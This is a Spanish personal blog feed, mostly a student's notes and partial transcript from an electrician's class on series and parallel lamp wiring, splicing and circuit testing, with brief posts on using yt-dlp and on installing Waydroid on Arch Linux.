<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF55m-ySNmjv0V_CQpvaq7ZiDHeBodKXewR4KsIWqyMI0nUNssgqcLu16Z7IWdKAhWKQxGcqF2hDjvD43XAtdtZJjWpmYQ0e4e3xkwLsaGkH0rcIdLOGxJU5DZ-qxEtXzAyDNYL8px7FTVB1LK8hXbBMwTcYk1toUls__mMKCcfJCRdYVizxSrmauhzSM/s4160/IMG_20250505_195042683.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBMk3QLXg_DEAhyphenhyphenqX-Hsw03vnh8Uq8fq0WUzBViCyqRIls79zRn3CTcAF_1bGZFJipGyUZ0g4dOvWceTrBmd0s_rmuHanDKs4SY4jzz7TYcBy5umOHgJp3Af8dVs1oSr3wGWk7ufHp7jfYcX_NI1Uni2nkr8ANv0aK2bO4b5G4CyX8FXgc0nFD4gEiNiE/s4160/IMG_20250505_195020932.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMHxssVLIAPOfYaBmf9pbAZpbZWK2bIqAph-Yq0FmAb6hcWjlpNG8jhpMlgn1_pJudL6CK6ndGak_bXtvR10XpenLBAe6n88obwz-Ea6C3X388yqZU6p7Bv9fgYFDpSHXmQjaGQ6_yQZlHhtD54RADlvq4yDzn7D7kymyjqhW-vWiYWOknAmACJoFZZK0/s4160/IMG_20250505_194959606_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXoyuokRvr_YVb5_wbf1JrFAl7ojER_Wy2bRLfvGxZwVeLKDoePR_YiEv2H-1PHTlSxfjINIddt2EH8GVAc44RKFRg3rGYmFQc91v24SvEOXOX-2MWF96IPYveuJpJv9Gh2Kv1_-kdmTW3zU2t7mh7Fshs6LLhl0m3yrq-mFRa_9tchIzCZoK8BaJEvDI/s4160/IMG_20250505_194959606_BURST000_COVER_TOP.jpg" alt=""></p>
<h6 id="conexión-en-paralelo">Conexión en paralelo:</h6>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX8_NnKWWExWH3SnrGv0k8TVXmVbbXxbMS_aG9z_B_LTYRzxKs2xmIyLpkTDl_jjM9kQSGLLCQuig9grq9HBZWHrMWkZrdyZT6A2Q-2KQXAv2xEUBjOVHjySy-9ev3NWY-mrY5vlSAd60p9AuXL9bcURcMAibPCH_tqHXM7YuUb-xb4wDbyPngCmXYAU0/s4160/paralelo.jpg" alt=""></p>
<h6 id="conexión-en-serie">Conexión en serie:</h6>
<p>El retorno va a la lámpara, el neutro de la lámpara va a la fase de la otra lámpara y el neutro de esa lámpara va a la fase de la otra lámpara, y así hasta la última lámpara en donde el neutro sale afuera.
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7Zce9ZsIhn35EhT2mxAuaL5RHgA9g4hWjWbsjRGnmUWwdwYFxaWU5Yrno9ym4bCE7e92y261FAlLkLNnqEjwAtYuaUJ81mS4tFQY0yIwUKmZnXWcoqFsQnwFqIUMbKs0fQ9wb4xk37DH8vf9Qe4NK7ObsC1uUB5DcogZn8MDrNOHdX79dDKVZvn7TFEE/s311/unnamed.png" alt="">
<a href="https://cursosdeelectricidad.blogspot.com/2008/06/tema-14-conexin-de-2-o-ms-lmparas-en.html">https://cursosdeelectricidad.blogspot.com/2008/06/tema-14-conexin-de-2-o-ms-lmparas-en.html</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp4zldbbs62kwqFYirhNQQTDQ9uCOf7DJb5doxWCq9IP7gD_VuvapW5MOn-jgfJKrSVhNyw29YpU99cF0mNvPZaev3UR6uIkxLErvRml03NSZnVnmUqbLTVrZFO71MC8OqOqEwUqp6ba9HoN4gNgwfSU5b3lDm5g7NMg2Re0Fq44phAeiiUy4rAGo9tTk/s4160/IMG_20250430_204733652_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHAVayGJWBpyj2W-2TLeJnJaOkhBHiwk0kZeShOxI6QzJ6GH-7dal9ElOwqT_M8TbZZ4N0TqVTJtJMXObqIHFum-pMUZkrgwoeRcXVxJMKe74kteuoFH89OWO0sKLVkgv0X0XcAyCnm4w-N0L5G_U54rbe-vrOjM_bb9xgdVNIYsxj-5rQmWqoJcC2zME/s4160/IMG-20250505-WA0042.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIkBq23aMiNmfA3ac9CHIceMfL2B87-wSrTUKVpunoEbxc_PII8PfqziPwOZ6Y9Py-qbjz7be2H7ZaLR6JhCJetsoMmIb84HMU9WwOeMGciGPaAgC2ClQsOijewy3-1l-I8-IuNnOhIz3ncWa8m6GOM3D80BspQdaYmRpVmnC_ZWFlFQMhrZnhPEHiaTA/s4160/IMG-20250505-WA0037.jpg" alt=""></p>
<h5 id="transcripción">Transcripción</h5>
<p>La idea principalmente que ustedes tengan en la cabeza fácil esquema de serie y paralelo para que después saquemos las conclusiones, voy a ir a mostrando algunas cositas. Quiero que aprendan el conexionado.</p>
-
Descargar videos con yt-dlp usando Tor
https://imlauera.github.io/download_videos_from_yt-dlp/
Sun, 04 May 2025 23:07:07 -0300
https://imlauera.github.io/download_videos_from_yt-dlp/
<p>Descargar la descripción y el thumbnail de un video sin descargarlo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ yt-dlp --ignore-config --write-description --write-thumbnail --skip-download YOUTUBE_URL
</span></span></code></pre></div><p>Me bajé el binario de <code>yt-dlp</code> con night builds del repo de GitHub y no podía descargar el video a través de Tor, así que instalé yt-dlp desde el repo oficial de Arch.</p>
<p>Actualización: 15 de noviembre del 2025. yt-dlp dejó de descargar videos ahora solo reproduce audio así que bajé <a href="https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/latest">https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/latest</a> el binario de night builds y volvió a funcionar, ahora puedo ver nuevamente videos con mpv usando invidious con w3m.</p>
-
Waydroid: Ejecutar aplicaciones Android en ArchLinux
https://imlauera.github.io/waydroid_linux/
Sun, 04 May 2025 03:23:15 -0300
https://imlauera.github.io/waydroid_linux/
<p>Waydroid no es un emulador:</p>
<blockquote>
<p>No, Waydroid is not a traditional Android emulator. It’s a container-based approach that allows you to run a full Android system within a Linux container, rather than emulating it. Think of it as running a dedicated, isolated Android environment on top of your Linux host.</p>
</blockquote>
<p>Hay que aprender a instalar los paquetes AUR manualmente porque a veces falla con <code>yay</code> en este caso me falló la compilación de <code>libgbinder</code> porque faltaba la CFLAG <code>-Wno-incompatible-pointer-types</code></p>
-
Electricidad / Clase 20: Vimos una instalación eléctrica mal hecha. La idea original era una radio ahora es streaming. Clase práctica. Conectamos 3 lámparas en serie y en paralelo. Si están las 3 lámparas en serie baja la luz. Si las 3 lámparas están en paralelo tienen la misma intensidad de luz. Profesor no quiere cajas de PVC porque se aplastan. Si usas cajas de PVC hay que poner 2 o 3 soporte para que no se aplaste. Como fijar cajas. Utilizan cajas de iluminación como caja de paso. Si las cajas no están fijas hay que volver a hacer. Caños de más, mal recorrido. Lo hicieron sin planos: ponemos una boca acá un toma acá y la llave de punto ahí y arreglate. Hay que tener cuidado con el plástico porque se desforma. Hay que poner madera para poder fijar las cajas. Con el alambre no sirve para fijar las cajas, no tiene que moverse para arriba ni para abajo. Con la manguera se saca nivel de agua. Las cajas con orejitas son para durlock. Las cajas tienen que tener 15 de distancia sino si enchufás algo no se puede abrir la puerta. Le falta tierra a la ducha, pusieron bien caño(7/8) y conductor(4mm). Lo que no se ve podes hacerlo en diagonal pero en las paredes siempre ortogonal. El entrecruzamiento de caños está mal. El profesor ofreció enseñar a la gente que hizo la instalación pero no quisieron. no poner tanta cantidad de caños, tomar la alimentación de un sector a otro, de acá depende de como tenga el tema de iluminación ya podría haber salido para un circuito de este lado y otro circuito allá directamente. Hicieron demasiadas cañerías por arriba. Hay demasiados cables en una caja octogonal (encima es la chica), hay que poner una caja de paso y ahí distribuir: pero no tiene mucha potencia porque es lumínico. Hay que cumplir tiempo de cerramiento de durlock(trabajan por hora) y te vas a quedar sin colocar las cajas: cuando te dejen la posibilidad mandá todo para arriba, eso es la parte interesante, mandarlo todo para arriba y ver lo que tengo abajo para poder anticiparme de lo que ellos están por hacer. Soporte tipo L para las bocas eso se hace con perfilería, tengo que fijarlo a la estructura primero, a veces tengo perfil C. fijo una madera ahí entra de perfil acá entonces hago tipo una L que apoye acá primero fijo y esto va pero acá tengo que fijar ahí está Profesor: Entonces a veces se pone un perfil o una planchuela de acá hasta allá que pase de acá hasta allá arriba, hasta este, en otros lados se suelda planchuela de acá hasta acá, y después sueldo acá. Es todo trabajar en conjunto yo sé que un electricista no va a tener un soldador a mano tampoco, y tampoco va a tener perfiles. ¿Para qué voy hasta arriba y vuelvo vuelvo otra vez y bajo? Al pedo. A menos que el tipo haya pensando directamente mando hasta arriba y después no sé que hago. Eso pasa cuando no tienen definido que van a hacer. Le habrán faltado caños. Ayudante dice que sobra caño. Afuera tenía corrugado. 3 portalámparas en 3 cajas. Hicimos el dibujo en planta. El ayudante(Alejandro Ramirez) borró el diagrama de la clase pasada. En la caja principal llega fase, neutro y tierra. La llave de 1 punto tienen solo 2 borners. La fase que ustedes va a la llave de 1 punto y el retorno sale del interruptor a la lámpara y este que es el neutro viene directamente de acá al portafoco(portalámparas). La 1era es siempre igual(conexión de serie/paralelo) El profesor Espeche hizo temblar a un estudiante cuando hacía el empalme. Consejo del profesor: pensar en las mujeres para no temblar. Los empalmes nunca se hacen en las cañerías. No hay que hacer empalme cola de rata hay que hacer empalme prolongación o western union Cinta aisladora doble. En el circuito en serie se puede mezclar colores. El profesor mandó a arreglar un ventilador que tenía 1 luz y en vez de colocar en paralelo lo colocaron en serie el ventilador con la luz si yo encendía solo el ventilador andaba bien, si encendía solo la luz andaba bien, si prendía los 2 andaba bien pero disminuía la intensidad. Los foquitos de navidad van en serie. No debe quedar bodoque cuando pones la cinta aisladora. Hay que poner la cinta en forma elecoidal en diagonal en vez de poner recto, hay que tratar de inclinarla. Hay que hacerle lo más fuerte posible el 1er empalme. La 1er cinta es para empalme entonces con la fuerza de tu cinta. La cinta aisladora tiene 2 funciones: El 1ero es para que refuerce tu sujeción de cable. El 2do es para que aumente tu aislación. Esto tiene suficiente elasticidad para que vos hagas lo más fuerza posible, la 2da es para la aislación. Cuando tengo que comprar el alicate: tiene que fijarse que no tenga luz, o la mínima luz posible Como comprobar una instalación eléctrica: buscapolo, lámpara de prueba, probador de tensión, tester. Al usar el tester: Acá tenemos DC AC. Si medimos corriente alterna tenes que saber más o menos cuanto voltaje vas a medir nosotros medimos 230 entonces yo tengo una escala lo ideal es que supere los 200. Entonces hago esto lo 1ero que tengo que hacer es activarlo tengo las puntas igual que tenía en el portalámparas. 216 VOLTIOS (hay que acordarse de decir la unidad). Esto es un interruptor termomagnético esto es un disyuntor si yo quiero bajo todo sino directamente bajo el disyuntor. Antes de probar el tablero hay que verificar que no haya continuidad en las dos puntas. Escucho el beep ya sé que tengo continuidad. En este caso si sacas un foco interrumpís el circuito porque ahora vos está conectando entraste de acá un portalámparas y de otro portalámparas saliste a otro, si vos sacas cualquiera de los focos interrumpís el circuito tenes que poner los 3 focos puestos para que la conexión en serie funcione, si cualquiera de estos se quema el circuito se interrumpe. Esto es en serie. Acá tendría que dar 300watts/220 voltios da 1,37 amper(la intensidad de corriente) En serie: Fíjense que pasa si yo saco una lámpara: se corta el circuito. Con este podemos identificar la polaridad y sabemos que te llega fase, el otro no sabes, ahora vos conectando esto en cada punta, si tenes fase y neutro encenderá el foco. El tester se usa para probar la continuidad de un circuito y mide el voltaje más exacto. Algunos testers son autoregulables pero ahí en ese caso hay que llevarlo a una escala de 750 voltios para que pueda marcar o no. Uno es AC que es alterna y el otro DC(continua). Por lo general no tiene que ser menor a 190 porque sino se queman los electrodomésticos. El disyuntor es que te protege a vos de quedar electrocutado. Siempre es térmica, disyuntor. El disyuntor salta por fuga. Matías Samuel: Si toca un metal también va a saltar no? Ayudante: Sí, porque ahí se está fugando la corriente por tierra y ahí va a disparar. Leiva: Y por recalentamiento? Ayudante: No, eso es la térmica. Por eso se llama interruptor termomagnético, termo=temperatura. Profesor: Antes de probar hay que probar continuidad, no tiene que haber continuidad. (La tecla tiene que estar apagada) Ese estaba en continuidad porque están todos los focos puestos y el interruptor encendido si este estaba apagado ahi no van a tener continuidad entonces ahí están salvados. LA PRUEBA DE CONTINUIDAD HAY QUE HACERLO APAGADO. SI ESTÁ PRENDIDA LA TECLA VAN A TENER CONTINUIDAD. Si la tecla está apagada y suena ahí tenes que preocuparte. Hasta 15 bocas por circuito. La térmica para iluminación es hasta 10 amper pero hasta 15 bocas. Si pones focos incandescentes de 100 watts cada uno solo vas a 20 porque (20*100)/220 te da 9,09 amper que es casi el límite de la térmica. Si supera los 10 amperes se funde el cable (o salta la térmica)
https://imlauera.github.io/electricidad20/
Fri, 02 May 2025 20:28:09 -0300
https://imlauera.github.io/electricidad20/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/18rfPSWtQmJT">https://vocaroo.com/18rfPSWtQmJT</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-104">https://archive.org/details/record-104</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/HXGFTzbrKP8">https://www.youtube.com/embed/HXGFTzbrKP8</a></p>
<h5 id="video-mandado-por-whatsapp">Video mandado por WhatsApp.</h5>
<p><a href="https://www.youtube.com/embed/BEFGzbV5SE8">https://www.youtube.com/embed/BEFGzbV5SE8</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJ_tQLc5rd6y7cfWhyhofhCUHhS-MGhLedfMTFecMqmRd3m7-QWi8MJAqWwpVQNdf5JX7XhpOmOyUF8QIZdFUr48t1kAw7iMGEaf53aFYz5jgBb850mJq32R7_2C4qW5zHhWrOyrpIPWcthXQVt5vtq7M5B3v2f8Vh6AYwzVznEtnEyaZp0XsydALai0/s4160/IMG_20250430_184222823.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8mAIPYY8vSP0kknXam4c-WbMxBHqbL-41qYTkEKHRZnwK4SfUVN1eoaBGkv7w-PpFnlascmTTdw05IBh6Ljg0vbPp6QRXDDEy_Q2Inr0HXkSeMlF3kMDKvYjkZ3B2NkzW4fp7ye6qGonpZw78BHnPJ2ADYRizcKAUyA3j-CO-zahXdHpBQfoByhR7vsg/s4160/IMG_20250430_184819957.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsQFjJU4topCgeJqxPm4n3SHBsYugqzGUVw7p0qub23CeZNcieHIhFAEcTGE0Uf-wzscXCxbsgto8ACyivgxemuxk4NvucvAvzLz-ridgL4WZp5ApMIzY2u06q7iBc4snfZLDJcgD_yR7rQIFEeVq9dOrSvMMKyCR8dfqiV2ePJnTuE0Kd0Bt4aBcMQ3w/s4160/IMG_20250430_184836280.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAvvepBXIvq_8Cg84D1knS7ACkmNKFPNbXf_kD8SRYksG5mC25eMK9c-WIDhiA7P-1jWJwcfJMjRGTH21wCE3fauzxNgKRsS4ooEl1Jd3B-jwgEkufo_uC53rKz8U19jYJUdhBPNBpTcd9yLb2sE2QYdseAmTRwQtT_O506bLQysN2C0zXqf6eYE_3kjI/s4160/IMG_20250430_184853076.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMLk05fUbevv-84FKl19vydjgJtVpcZvGDMgD8P4UHuzhWn8jovFmpBgYdSAe9fsfAkle_i_eCKn5HJ0m7iJx78Lf7PQhprNwJMTt2pipQJ07QcaejVYXFwfjDfD1uTb13-PQ1U5Z0m2TwbjG9aI-al-zWklWVbALJL6Gy9RYtWI04JsV5GYsADDtj0kc/s4160/IMG_20250430_185204658.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTS9yRH1g8o-hXwk0TVUyBdrqDwZsvH7F18sQjvDscKTyYmZDFJh_DOAzaq-YkO3MAudg6h7ypcs1Tjyp8_jUBLQ2NcIv8rEt9w2qsGyVjf-ZxNLZ2UjzcyIx9tbQQf3mHVz5-hOaRBUnZ2NcZr0xQmFwMsGx-UxzP174taxwB5UFZnpC9_elrFpCcmV4/s4160/IMG_20250430_185234817.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg28aZ8Pc_9C3rr7MRmBu5vjhRoK_Fe9-iOcFycPKek2OM_pq9IIJgEJoXaITLLrxVJKsTE3xxlCCwWo8bv1JavmDs_d-bz8Rg3bJjOGwLO6tF6CK-ZdBGAZOQicuNDWxUQriblqRI0XzKf6UEz0N0lI31kiPYXHvkc7QxxlyA31x7MkeorZNkK_s9TjQ0/s4160/IMG_20250430_185238841_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilEhBxcnAHfp_XiDOC5_nT966_4owSf8ac6m-_tXB66tI4KSm8tg_qIsdldneC0JnMypPyivI5Hd-puEnNeYstehLws35km5_gXALcus9jM6jkcDraJlNoZS0izytmDpYonUt6Phn_OEUdFdp3YVbvWTq8tP3jVW2oWt3Go0RP-ThJVEKwkuqu2lj4tf8/s4160/IMG_20250430_185354181.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK-Pic60chbpbt5fObvVKieq51u6aVU9noCyHm7cMpPhiCvQ1My3rpQsympUiJCmjTlOncFt-0130myFnovNtFGuMdelGa7qO0wWs6_a_DFkHI8NEF_9zzl3LDSFX_DxHZhPgFNzD7xpFlBR56MALtabwTCOKRvdrep778frrkfw_BkWF0dvSovkoOG4Q/s4160/IMG_20250430_185423671.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd7fskKqacMniP_jL7s53-MS-X2W9ZRQMCYketiQ4DLNGFWy8h0ZFaUifS7mtR8qsgO6CIALDTbYEVk4-p77NlXRYpadNn73GolF74rlL4a13u9_UtQtEp1zircoYolpbZYqsAhzgSSEGEYIwDYvUczA6xNyUXsdyxSHmve1T-drxmXCATlBwr5T6E1yE/s4160/IMG_20250430_185503502.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT7Oy1s2IDqZ2nmYFSzX5kGpySiJ_r_j71wIqpAweMg-6-RFC8bFeOSPC6wZAjRxqimGNrOF3k-X_y6fnQxssCdbV-tjsJOmEj4JsWNCGzXMXPOmLCRaf9P-nCPtzxMdg_VDVZP_F7QpRhqUQrHJktkf2bDFcvxHOAYOcjToyIGW9yvwwYiVFysHprmHo/s4160/IMG_20250430_185516551.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZOvowrTICQGBpmIBgagalKpD_N5ge2Kf0OHZXcvCMNUoWg0VPfWMmBIva_7TIOeqEWEkmggIfT3EZUEdslrh-gjr758_NM5BjzbNEcWM2IMMrgtLTP6EayJLg2P2dGUwmclns-c2Xuk30ahCZXS_XNCOLzmYxLRe2qp7UcOws0Bx7jG2_zjxtlEdA4PQ/s4160/IMG_20250430_185600030.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH3iSw7GfhNHxRyYPIsDppmUahNKHZDv5_W7kFmR1TE2cdxdZ97Fc4i6Z1CTACrDKuFoTT93QcJzIivwn1qIMOooW9Sd25GH3tHGcVhbN4149p_HC_WcwpHHDN2OyS5LiiqWJ6nuUCzvWbVElCedEWz4jtZNVXCqKdwsh1LvyIpfepmmIlcMrTjhAizxI/s4160/IMG_20250430_185602023_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV3Q2iXfdlINpMJxqxz5q-Cv8TKN9LLf1IJnrSZVY0Eymu1I4GaLDLCK_mK2a8u2-Zdlvv23PLVnqP2UmQwac5d-sprb0qjD1K5pfSn5Q-NCKB2t7F1NiRvyD4GDLr-5RG0VWN_81J-7xvcjsqexF4YPJykFSUgJOde0eeAFy2PplhzqwLHCWoVMwXXSc/s4160/IMG_20250430_185602023_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBnOrVmKhYYdoxW6bg9O0ytM11o9_kAdXEEckAAB7uq3o12j6ezyXbBxC9D4Ukg07MtggFq1xTJVK5sj37afZO3iXlsufXA1IuxceXZgTDcNY_lccUaQhSBbgTFThocpu2SGBGC2tJUdU44fiqBz7UhtPx5KCivvB2dHxGHyUlKjB2x1uDxJXgpAsR58c/s4160/IMG_20250430_185612321.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilFRRxJ-R2jo2PiKyL_e5Yz2bi0oWEieHs-e72S5k0IpiGkzdPe7WTbaCw4Mk_KKTNPFUdk5sYrunqVTeVzHwwrhJuiXosxr_BP3-WyQYQXt8HytyHqmJYOQG2KDQpBC9d2oxBbwlfNeh1Xpu29sB1zFwJJEmbWmWh15fIp8KFHZO-iiHGNc-bXCICXPI/s4160/IMG_20250430_185621042.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjed84RI_E7LzhUrF3SwW8TWyzWXKzQTHZ1ANY7JKqLOp-tqdz7i6q_lDKXq-vdZfpN_MPDOwxTngRE6xXdVCnHlppVDAdNvu_UX35z5ydyu0pQj5ZSQ3Mhc3tG-NZmCmjzGicXKwAuSXm7MWZ0oeD05nUoY1i9uWUQl9sEtdk7kQZCZL4aGn4VzbEGmmA/s4160/IMG_20250430_185624579.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDu-CdKoaMPEgEm4TxJ4Zt56Hv_BtIUv1FWhkB14aQA4G_ZEDvZa8QOiLcnIoeL2DvUpZeKskYmAl9C3HxZ-2heXRJp9IMjnatUEaavmOLcc-7stvQPVZPvyk_9KlNCWpsrL0Fe0T_zfrdO4FsEcHKBA-L_ILrMdjQ8F70MIF2m8YpN-mjFo0ia7gJUh8/s4160/IMG_20250430_185638178.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlkCxKdOFAJrZ6CxB5ZtqL5gcZNEDJRRVMJFXzWNq2XM0r7OAXRzu6KQiZdBsTq198Se4fuA5hhNzgaXhFXsfL1-Qx3YBWWtQbKi5kUyGDaLuEcvt99-FOEj_3r3UhNwJ4mHrRBAu39nnJTzqAHJpr_Rux8LtHOZhWgJ2Dndv7E50XhDFTi3X0vB2IgGI/s4160/IMG_20250430_185814605.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJUoouXI2qTl098odl47Dqvw6yN-WWJwi63Tsw0S-i1SqAiTjX7STpQI67CLD3yB6h00LOf26R4jgxjWKoGy6K6jRWFDVB_j7lV8FX0O5aoUWRMLB9cHEOST8GdTCMw2gMMrN4o02Z8fgNlGX1oGN5nPujnAfEL9cxUh1jnhln3c-Mq3fGqpo49a-n614/s4160/IMG_20250430_190129517.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwJmLqu3zxQ7XNYr6vVrm5-k52_zTfYZT600gnhdVfIlmZ2rS1i9t1AqzGkxwYPiAwmyHtKsdFODQbmkFw38YMsx6fkld2F2JBE1EuBs9HG-NI5pmvUm48RPVauSPCfV4Tkc6T8zPW_o3Z4yYeQ55O6q06FJBrr6uu0ptIUj9Oddc76l5GEG1xVfA5iQw/s4160/IMG_20250430_190133974.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeF99JT_qnwGeM202Of117kcqFZRS-0mNK8POquPcfQSI_YBJnPjKrbRkwea_qoDfdB11-bDVxf5NGQJ0kK8is-doGDw2A6v8mNhF-qrDERR9wU5IPWjg3SQ7XuqCAsCBPUouV2Egp4jGhA67Dwbj1iwjDYmX7S0B9q7iYDTP2etXKnKLBtEhn6-i_MxA/s4160/IMG_20250430_190320519.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2rxZKKbCZwPgQX4O8Aghjaw2Tg4wP6gvr6FBZp9mrqThvZs90YR5U2Pu_-VMeDEYP_gDMKv0exearNjobtlzVHVYvIjJvvKBUPbn9IkRmT9st5X9AotTjMvgadVnylOmD1Kpt9MaFSdm7VVJ-OycytPpkOrFx-IKkZbi2GAplb3KTfOblQmPlwuNyjFM/s4160/IMG_20250430_190322613.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEGdbpJfitSswlRFlPwkqcr5PqnABcp6KFmmqcr2xz8ZjeWoDJ1E_QkKTWj5ieJPk_xr6xrCrAmJjscpphRnItwjWMZDZdTgxqi56rhsohTnl1HtXb1HIpvjZjKLpXMMSzGRnpDxL7TnN5585iy5Km3s52uj6NneQQoLs4JT-rUTBfuxKui_YtYyjloU8/s4160/IMG_20250430_190325056.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcreNXwHxJEb46-EIqaetEQgJ8lhEU2GaZJs6ZrgCEyrGssixkQ8_nnK8DO_Jg8T_Pxj-CiNgQosdm7MtMYzxcyZl5JcGUer0EFIiNZJXciYBFr_oAydTXKwqpIj3wIekbuRfZ7BVxiAAEGoFB76zmAFXBBx4Ya3XXPzVcqMRWkCCdfx_zFAYRWRXmPqU/s4160/IMG_20250430_190343619.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV_4x_FlR5nSin_ebGiE6t8JSWGDUQxWNMltpqCWjJr9SxagvSlcmrFWO_T7UEK5O3ixIdAL8WJrfO6pz1AaTJsvQJ6rM1pgdAoX9-5b4WTL2wxRky08_1P1x694QJAG2TSYAjvmzqTjZ2P97r64bAZmB-qzexmXOHs_y1_6ONWh3r3nKBezSwTMvikDU/s4160/IMG_20250430_190624817.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9gpH4HjPycBazHsZoK996md8Ro5xVdIENFqotsTdP22BwuoghtUx517oqNi64ffBDntCdmUnIdehLCObehKEWNPXDtIAbfrQWFEzEZu_bKA3UUU1zzcjoojrgRYamjre4Gj7Kbu2BOKoDf74q6AkIFyVby909KR9WBlUrsuZA566A7IEBwvirJyp2Zbo/s4160/IMG_20250430_190930577.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwu65ESAU5koy3TVH1_Mnd4q-jviXuMebIMoas32z8u4bsLrZZL9fgPAFQDpsTIXpUCaLTWi_r1jwKlbhViL1H6lmTtQeFIDHuvCUS11dfmcl3hE9tKzB_7Y7Xb2pGOOFf-7UX_B7Pomr2QjJ7NyM9EH0DWWioJNujmNcRSRUqlW-6MTL-z7kHQ9XtzUw/s4160/IMG_20250430_202528860.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzo4zTul5UYc279kxWefSQfBDsXvEPimltfE8tc2MmPumGlALBVyZF-g3HJfRNgOMSvXIpJ-z22Oe_rUxPJmPmn2JNeCIzt5hK9Ck9AWlBf6cJLUsHnX5HjbvBmS2x4hBx1ZGlDK84zghgzIzbfg_btWxpnljM1Ww2ecFEXjLltDQu3qrotSYzNGonFY/s4160/IMG_20250430_202532552.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5pAAealZYcjn6R4TCmxqWKXVPwK3u_U9mumvFKQ4ywhZwkru9XgHwdLoeCIp1g6br71UxLL9enZNvKytxYJfMP_CjbxQ5aGWVSgEG6EJTHtLt9d22o_uDTh8JnC_w5diRKFbrvJGvkmNBkxPWSws_C2bCXcEoilKoKG3lNfrw6Ne0YdMshPhfQkT_Z2Y/s4160/IMG_20250430_203223859.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJPmeUw0KXxpiGwE6g-yb9LAR8yZCO_uAdfGI2iqyrQxmmyWCXilnkN9dte3kjyOFJd0jZpQCfmlheu274qQHywJpZCBjij1mHopao1BWypwCK1Ro0w-YRlOE3CdWhHrEDxD5RrGinRHL51pR90RGSwt1The2u3k87e43y-_PiaE2p_HuPUe0_fqJGT4k/s4160/IMG_20250430_203224669.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUIpOTyXaLuWb4zSD6za1-Hr734SeZp01OAH0barkT3170_agcozpWNAc7UpuLSOjGH7NNzZ-RZoisucnFWGrs96ZkxpYA_sCkFFlVQVFhWTN0z-2KeJpcNd7Lvxscr_K4S-dYKd3Y3q51RwAlZEgquvo5gYppr1Zgm6XlYDdlp86LIEY1kQVfMbnDl7M/s4160/IMG_20250430_204733652_BURST001.jpg" alt=""></p>
<hr>
<h6 id="transcripción">Transcripción</h6>
<p>Leiva: Los muchachitos que estaban ahí hace rato no venían (los hijos de Chuck Norris)
Yo: Cuántas faltas podes tener? Tiene que ser 70 horas.
